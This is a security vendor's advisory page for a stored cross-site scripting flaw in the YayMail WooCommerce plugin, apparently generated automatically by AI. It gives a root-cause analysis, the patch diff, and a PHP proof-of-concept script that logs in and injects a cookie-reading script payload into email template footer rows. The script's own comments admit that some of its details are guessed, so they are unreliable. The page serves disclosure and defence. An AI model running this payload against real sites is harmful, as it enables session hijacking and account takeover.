Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1943: YayMail <= 4.3.2 – Authenticated (Shop Manager+) Stored Cross-Site Scripting via Template Elements (yaymail)

CVE ID CVE-2026-1943
Plugin yaymail
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1943:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the YayMail – WooCommerce Email Customizer WordPress plugin. The vulnerability affects versions up to and including 4.3.2, allowing attackers with Shop Manager or higher permissions to inject malicious scripts into email templates. The vulnerability only impacts multi-site installations and installations where the unfiltered_html capability is disabled. With a CVSS score of 4.4, this represents a moderate risk that could lead to session hijacking or administrative compromise.

Atomic Edge research identified the root cause as insufficient input sanitization and output escaping in template element processing. The vulnerability exists in the TemplateModel::update() method at yaymail/src/Models/TemplateModel.php line 294, where user-supplied template elements were stored directly without sanitization. The render_custom_row() method in yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php lines 518-521 processes custom footer rows by executing do_shortcode() on user-controlled label and value fields without proper output escaping. The yaymail_kses_post() sanitization function was not applied to these fields before storage or output.

The exploitation method requires an authenticated attacker with Shop Manager or higher permissions. Attackers can craft malicious payloads through the plugin’s template editor interface, specifically targeting the custom footer rows functionality added in the diff. The attack vector involves sending a POST request to the plugin’s template update endpoint with malicious JavaScript in the elements[‘custom_footer_rows’][index][‘label’] or elements[‘custom_footer_rows’][index][‘value’] parameters. When the email template renders, the do_shortcode() function processes the payload, and the lack of wp_kses_post() escaping allows script execution in the victim’s browser context.

The patch addresses the vulnerability through multiple layers of defense. The TemplateModel::update() method now calls TemplateHelpers::sanitize_elements_recursive() at line 295 to sanitize all element data before storage. The new sanitize_elements_recursive() function at yaymail/src/Utils/TemplateHelpers.php lines 341-363 applies yaymail_kses_post() to rich_text and title fields. The render_custom_row() method at lines 518-521 now wraps output with wp_kses_post() instead of directly echoing unsanitized content. Additional permission checks were added to restrict plugin installation and addon management to users with install_plugins and activate_plugins capabilities.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing WooCommerce emails generated with the malicious template. This can lead to session hijacking, administrative account takeover, data exfiltration, or redirection to malicious sites. Since the payload is stored in the database, the attack persists across sessions and affects all users who receive emails using the compromised template. The impact is particularly severe in WooCommerce environments where email notifications contain sensitive order information and are viewed by both customers and administrators.

Differential between vulnerable and patched code

Code Diff
--- a/yaymail/src/Ajax.php
+++ b/yaymail/src/Ajax.php
@@ -231,6 +231,11 @@
         if ( ! wp_verify_nonce( $nonce, 'yaymail_frontend_nonce' ) ) {
             return wp_send_json_error( [ 'mess' => __( 'Verify nonce failed', 'yaymail' ) ] );
         }
+
+        if ( ! current_user_can( 'install_plugins' ) && ! current_user_can( 'activate_plugins' ) ) {
+            return wp_send_json_error( [ 'mess' => __( 'You do not have permission to install plugins', 'yaymail' ) ] );
+        }
+
         try {
             $is_installed = $this->process_plugin_installer( 'yaysmtp' );

--- a/yaymail/src/Controllers/AddonController.php
+++ b/yaymail/src/Controllers/AddonController.php
@@ -21,6 +21,10 @@
         $this->init_hooks();
     }

+    protected function permission_callback_admin_only() {
+        return current_user_can( 'activate_plugins' );
+    }
+
     protected function init_hooks() {
         register_rest_route(
             YAYMAIL_REST_NAMESPACE,
@@ -40,7 +44,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_activate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
@@ -51,7 +55,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_deactivate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
--- a/yaymail/src/Elements/OrderDetails.php
+++ b/yaymail/src/Elements/OrderDetails.php
@@ -265,6 +265,21 @@
                     'default_value' => esc_html__( 'Discount:', 'woocommerce' ),
                     'type'          => 'content',
                 ],
+                'custom_footer_rows_breaker'      => [
+                    'component' => 'LineBreaker',
+                ],
+                'custom_footer_rows_group'        => [
+                    'component'   => 'GroupDefinition',
+                    'title'       => __( 'Custom Footer Rows', 'yaymail' ),
+                    'description' => __( 'Add custom rows to the order totals footer', 'yaymail' ),
+                ],
+                'custom_footer_rows'              => [
+                    'value_path'    => 'custom_footer_rows',
+                    'component'     => 'CustomFooterRowsEditor',
+                    'title'         => __( 'Custom Footer Rows', 'yaymail' ),
+                    'default_value' => isset( $attributes['custom_footer_rows'] ) ? $attributes['custom_footer_rows'] : [],
+                    'type'          => 'content',
+                ],
             ],
         ];
     }
--- a/yaymail/src/Engine/Backend/SettingsPage.php
+++ b/yaymail/src/Engine/Backend/SettingsPage.php
@@ -271,6 +271,7 @@
             wp_dequeue_script( 'real-media-library-lite-rml' );
             wp_dequeue_style( 'real-media-library-rml' );
             wp_dequeue_script( 'real-media-library-rml' );
+            wp_dequeue_style( 'real-category-library-admin' );
         }
     }
 }
--- a/yaymail/src/License/RestAPI.php
+++ b/yaymail/src/License/RestAPI.php
@@ -140,6 +140,6 @@
     }

     public function permission_callback() {
-        return true;
+        return current_user_can( 'manage_options' );
     }
 }
--- a/yaymail/src/Models/MigrationModel.php
+++ b/yaymail/src/Models/MigrationModel.php
@@ -141,7 +141,10 @@

             // Restore backed-up options
             foreach ( $backup['options'] as $option ) {
-                update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                // Only restore options that belong to YayMail (same pattern as export)
+                if ( strpos( $option->option_name, 'yaymail' ) !== false ) {
+                    update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                }
             }

             // Remove the succeeded migration log from db
--- a/yaymail/src/Models/TemplateModel.php
+++ b/yaymail/src/Models/TemplateModel.php
@@ -13,6 +13,7 @@
 use YayMailPostTypesTemplatePostType;
 use YayMailShortcodesShortcodesExecutor;
 use YayMailSupportedPlugins;
+use YayMailUtilsTemplateHelpers;

 /**
  * Template Model
@@ -290,7 +291,8 @@

     public static function update( $template_id, $data, $is_save_revision = false ) {
         if ( isset( $data['elements'] ) && is_array( $data['elements'] ) && isset( self::$meta_keys['elements'] ) ) {
-            update_post_meta( $template_id, self::$meta_keys['elements'], $data['elements'] );
+            $elements_data = TemplateHelpers::sanitize_elements_recursive( $data['elements'] );
+            update_post_meta( $template_id, self::$meta_keys['elements'], $elements_data );
         }

         if ( ! empty( $data['background_color'] ) && isset( self::$meta_keys['background_color'] ) ) {
--- a/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
+++ b/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
@@ -251,6 +251,7 @@
         $show_sku           = isset( $yaymail_settings['show_product_sku'] ) ? boolval( $yaymail_settings['show_product_sku'] ) : false;
         $show_des           = isset( $yaymail_settings['show_product_description'] ) ? boolval( $yaymail_settings['show_product_description'] ) : false;
         $show_regular_price = isset( $yaymail_settings['show_product_regular_price'] ) ? boolval( $yaymail_settings['show_product_regular_price'] ) : false;
+        $show_hyper_links   = isset( $yaymail_settings['show_product_hyper_links'] ) ? boolval( $yaymail_settings['show_product_hyper_links'] ) : false;
         $image_style        = 'left' === $image_position ? $this->get_styles_product_image() . $style_image_position_left : $this->get_styles_product_image();

         $image_url             = wc_placeholder_img_src();
@@ -404,29 +405,150 @@
     }

     public function render_item_totals( $structure_footer ) {
+        $custom_rows = isset( $this->element_data['custom_footer_rows'] )
+            ? $this->element_data['custom_footer_rows']
+            : [];
+
+        // Group custom rows by zone
+        $rows_by_zone = [
+            'before_all'     => [],
+            'after_subtotal' => [],
+            'before_total'   => [],
+            'after_total'    => [],
+        ];
+
+        foreach ( $custom_rows as $row ) {
+            // Check if row is enabled - handle both boolean and string values
+            $is_enabled = isset( $row['enabled'] ) ? boolval( $row['enabled'] ) : false;
+
+            if ( $is_enabled && isset( $row['zone'] ) ) {
+                $zone = $row['zone'];
+                if ( isset( $rows_by_zone[ $zone ] ) ) {
+                    $rows_by_zone[ $zone ][] = $row;
+                }
+            }
+        }
+
+        // Sort each zone by order
+        foreach ( $rows_by_zone as &$zone_rows ) {
+            usort(
+                $zone_rows,
+                function( $a, $b ) {
+                    $order_a = isset( $a['order'] ) ? intval( $a['order'] ) : 0;
+                    $order_b = isset( $b['order'] ) ? intval( $b['order'] ) : 0;
+                    return $order_a - $order_b;
+                }
+            );
+        }
+
         $index = 0;
+
+        // ZONE 1: Before all
+        foreach ( $rows_by_zone['before_all'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
+        }
+
+        // Process standard rows
         foreach ( $this->item_totals as $key => $total ) {
-            if ( in_array( $key, $structure_footer['hidden_rows'], true ) ) {
+            if ( in_array( $key, $structure_footer['hidden_rows'] ?? [], true ) ) {
                 continue;
             }
-            ++$index;
-            $tr_class              = "yaymail-order-detail-row-{$key}";
-            $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
-            $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
-            $style                 = $this->get_styles() . TemplateHelpers::get_style(
-                [
-                    'border-top-width' => 1 === $index ? '4px' : '0',
-                ]
-            );
-            ?>
-            <tr class="<?php echo esc_attr( $tr_class ); ?>">
-                <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
-                <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
-            </tr>
-            <?php
+
+            // ZONE 2: After subtotal
+            if ( 'cart_subtotal' === $key ) {
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                foreach ( $rows_by_zone['after_subtotal'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                continue;
+            }
+
+            // ZONE 3: Before total
+            if ( 'order_total' === $key ) {
+                foreach ( $rows_by_zone['before_total'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                continue;
+            }
+
+            // Other rows - render normally
+            $this->render_standard_row( $key, $total, $index++, $structure_footer );
+        }//end foreach
+
+        // ZONE 4: After all (after total)
+        foreach ( $rows_by_zone['after_total'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
         }
     }

+    /**
+     * Render a standard order total row
+     *
+     * @param string $key              The order total key.
+     * @param array  $total            The order total data.
+     * @param int    $index            The row index.
+     * @param array  $structure_footer The footer structure data.
+     */
+    private function render_standard_row( $key, $total, $index, $structure_footer ) {
+        $tr_class              = "yaymail-order-detail-row-{$key}";
+        $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
+        $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
+        $style                 = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+        $heading_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+        ?>
+        <tr class="<?php echo esc_attr( $tr_class ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $heading_style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $content_style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
+        </tr>
+        <?php
+    }
+
+    /**
+     * Render a custom footer row
+     *
+     * @param array $custom_row       The custom row data.
+     * @param int   $index            The row index.
+     * @param array $structure_footer The footer structure data.
+     */
+    private function render_custom_row( $custom_row, $index, $structure_footer ) {
+        // Process shortcodes in label and value
+        $label = isset( $custom_row['label'] ) ? do_shortcode( $custom_row['label'] ) : '';
+        $value = isset( $custom_row['value'] ) ? do_shortcode( $custom_row['value'] ) : '';
+
+        if ( empty( $label ) && empty( $value ) ) {
+            return;
+        }
+
+        $style = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+
+        $heading_style = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+
+        $row_id = isset( $custom_row['id'] ) ? esc_attr( $custom_row['id'] ) : '';
+        ?>
+        <tr class="yaymail-order-detail-row-custom custom-row-<?php echo esc_attr( $row_id ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>"
+                style="<?php echo esc_attr( $heading_style ); ?>">
+                <?php echo wp_kses_post( $label ); ?>
+            </th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>"
+                style="<?php echo esc_attr( $content_style ); ?>">
+                <?php echo wp_kses_post( $value ); ?>
+            </td>
+        </tr>
+        <?php
+    }
+
     public function render_customer_note() {
         if ( ! empty( $this->order_note ) ) :
             $style = $this->get_styles();
--- a/yaymail/src/Utils/TemplateHelpers.php
+++ b/yaymail/src/Utils/TemplateHelpers.php
@@ -339,4 +339,27 @@
             $border['color']
         );
     }
+
+    public static function sanitize_elements_recursive( $elements ) {
+        if ( ! is_array( $elements ) ) {
+            return [];
+        }
+
+        foreach ( $elements as &$element ) {
+            if ( isset( $element['data']['rich_text'] ) ) {
+                $element['data']['rich_text'] = yaymail_kses_post( $element['data']['rich_text'], $allowed );
+            }
+
+            if ( isset( $element['data']['title'] ) ) {
+                $element['data']['title'] = yaymail_kses_post( $element['data']['title'] );
+            }
+
+            // Recursive cho nested elements
+            if ( isset( $element['children'] ) ) {
+                $element['children'] = self::sanitize_elements_recursive( $element['children'] );
+            }
+        }
+
+        return $elements;
+    }
 }
--- a/yaymail/templates/elements/order-details.php
+++ b/yaymail/templates/elements/order-details.php
@@ -120,6 +120,5 @@
 <?php
 $element_content = ob_get_contents();
 ob_end_clean();
-$element_content .= do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' );
-
+$element_content .= yaymail_kses_post( do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' ) );
 TemplateHelpers::wrap_element_content( $element_content, $element, $wrapper_style );
--- a/yaymail/templates/elements/text.php
+++ b/yaymail/templates/elements/text.php
@@ -35,7 +35,7 @@
 ob_start();
 ?>

-    <div style="<?php echo esc_attr( $text_style ); ?>"><?php echo do_shortcode( $data['rich_text'] ); ?></div>
+    <div style="<?php echo esc_attr( $text_style ); ?>"><?php yaymail_kses_post_e( do_shortcode( $data['rich_text'] ) ); ?></div>
 <?php
 $element_content = ob_get_clean();

--- a/yaymail/templates/emails/before-email-content.php
+++ b/yaymail/templates/emails/before-email-content.php
@@ -14,8 +14,8 @@
                 h1{ font-family:inherit;text-shadow:unset;text-align:inherit;}
                 h2,h3{ font-family:inherit;color:inherit;text-align:inherit;}
                 .yaymail-inline-block {display: inline-block;}
-            .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
-
+                .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
+                .yaymail-order-details-table .wc-item-meta {list-style-type: none;}
             /**
             * Media queries are not supported by all email clients, however they do work on modern mobile
             * Gmail clients and can help us achieve better consistency there.
--- a/yaymail/vendor/autoload.php
+++ b/yaymail/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/yaymail/vendor/composer/InstalledVersions.php
+++ b/yaymail/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/yaymail/vendor/composer/autoload_static.php
+++ b/yaymail/vendor/composer/autoload_static.php
@@ -11,11 +11,11 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'Y' =>
+        'Y' =>
         array (
             'YayMail\' => 8,
         ),
-        'T' =>
+        'T' =>
         array (
             'TenQuality\WP\Database\' => 23,
             'TenQuality\Data\' => 16,
@@ -23,15 +23,15 @@
     );

     public static $prefixDirsPsr4 = array (
-        'YayMail\' =>
+        'YayMail\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
-        'TenQuality\WP\Database\' =>
+        'TenQuality\WP\Database\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/wp-query-builder/src',
         ),
-        'TenQuality\Data\' =>
+        'TenQuality\Data\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/php-data-model/src',
         ),
--- a/yaymail/vendor/composer/installed.php
+++ b/yaymail/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+        'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+            'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/yaymail/vendor/composer/platform_check.php
+++ b/yaymail/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }
--- a/yaymail/yaymail.php
+++ b/yaymail/yaymail.php
@@ -3,12 +3,12 @@
  * Plugin Name: YayMail - WooCommerce Email Customizer
  * Plugin URI: https://yaycommerce.com/yaymail-woocommerce-email-customizer/
  * Description: Create awesome transactional emails with a drag and drop email builder
- * Version: 4.3.2
+ * Version: 4.3.3
  * Author: YayCommerce
  * Author URI: https://yaycommerce.com
  * Text Domain: yaymail
  * WC requires at least: 3.0.0
- * WC tested up to: 10.3.0
+ * WC tested up to: 10.5.1
  * Domain Path: /i18n/languages/
  *
  * @package YayMail
@@ -27,7 +27,7 @@
 }

 if ( ! defined( 'YAYMAIL_VERSION' ) ) {
-    define( 'YAYMAIL_VERSION', '4.3.2' );
+    define( 'YAYMAIL_VERSION', '4.3.3' );
 }

 if ( ! defined( 'YAYMAIL_PLUGIN_URL' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1943 - YayMail <= 4.3.2 - Authenticated (Shop Manager+) Stored Cross-Site Scripting via Template Elements

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'shop_manager_user';
$password = 'shop_manager_password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get the login page to retrieve nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches);

// Perform login
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Get YayMail template ID and nonce
// First, navigate to YayMail settings to get template data
$yaymail_url = $target_url . '/wp-admin/admin.php?page=yaymail-settings';
curl_setopt($ch, CURLOPT_URL, $yaymail_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract template ID and nonce from the page
// In a real scenario, you would parse the JavaScript or make API calls
// For this PoC, we assume we know a template ID (e.g., 123)
$template_id = 123;

// Step 3: Craft malicious payload in custom footer rows
// The payload uses the custom_footer_rows parameter added in the vulnerable version
$malicious_payload = '<script>alert(document.cookie)</script>';

// Step 4: Send update request to inject XSS
$update_url = $target_url . '/wp-admin/admin-ajax.php';
$update_data = [
    'action' => 'yaymail_save_template',
    'template_id' => $template_id,
    'elements' => json_encode([
        'custom_footer_rows' => [
            [
                'id' => 'xss_payload',
                'enabled' => true,
                'zone' => 'before_all',
                'order' => 0,
                'label' => $malicious_payload,  // XSS payload in label field
                'value' => '100'  // Legitimate-looking value
            ]
        ]
    ]),
    'nonce' => 'dummy_nonce'  // Would need actual nonce in real exploitation
];

curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_data));
$response = curl_exec($ch);

echo "Update Response: " . $response . "n";

// Step 5: Verify the payload was stored by triggering email generation
// This would typically involve creating a test order or previewing the template
$preview_url = $target_url . '/wp-admin/admin-ajax.php';
$preview_data = [
    'action' => 'yaymail_preview_template',
    'template_id' => $template_id,
    'nonce' => 'dummy_nonce'
];

curl_setopt($ch, CURLOPT_URL, $preview_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($preview_data));
$preview_response = curl_exec($ch);

// Check if payload appears in response
if (strpos($preview_response, $malicious_payload) !== false) {
    echo "SUCCESS: XSS payload found in preview responsen";
    echo "The payload will execute when any user views an email with this template.n";
} else {
    echo "Payload may have been sanitized or not stored correctly.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School